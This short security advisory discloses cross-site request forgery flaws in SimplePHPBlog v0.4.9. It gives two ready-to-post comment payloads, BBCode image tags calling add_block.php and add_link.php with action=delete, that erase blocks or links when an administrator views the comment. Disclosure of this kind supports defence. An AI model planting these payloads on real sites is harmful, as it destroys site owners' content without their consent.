Multiple CSRF in SimplePHPBlog

SimplePHPBlog
Cross Site Request Forgeries
Tested on v0.4.9

Discovered by: Demential
Web: http://hackish.altervista.org
E-mail: deme [at] hackish [dot] eu
SimplePHPBlog website: http://www.simplephpblog.com/

• posting [img=add_block.php?action=delete&block_id=*] in a comment
  where * is an ID of a block,
  when administrator reads the comment
  block * will be erased.

• posting [img=add_link.php?action=delete&link_id=*] in a comment
  where * is an ID of a link,
  when administrator reads the comment
  link * will be erased.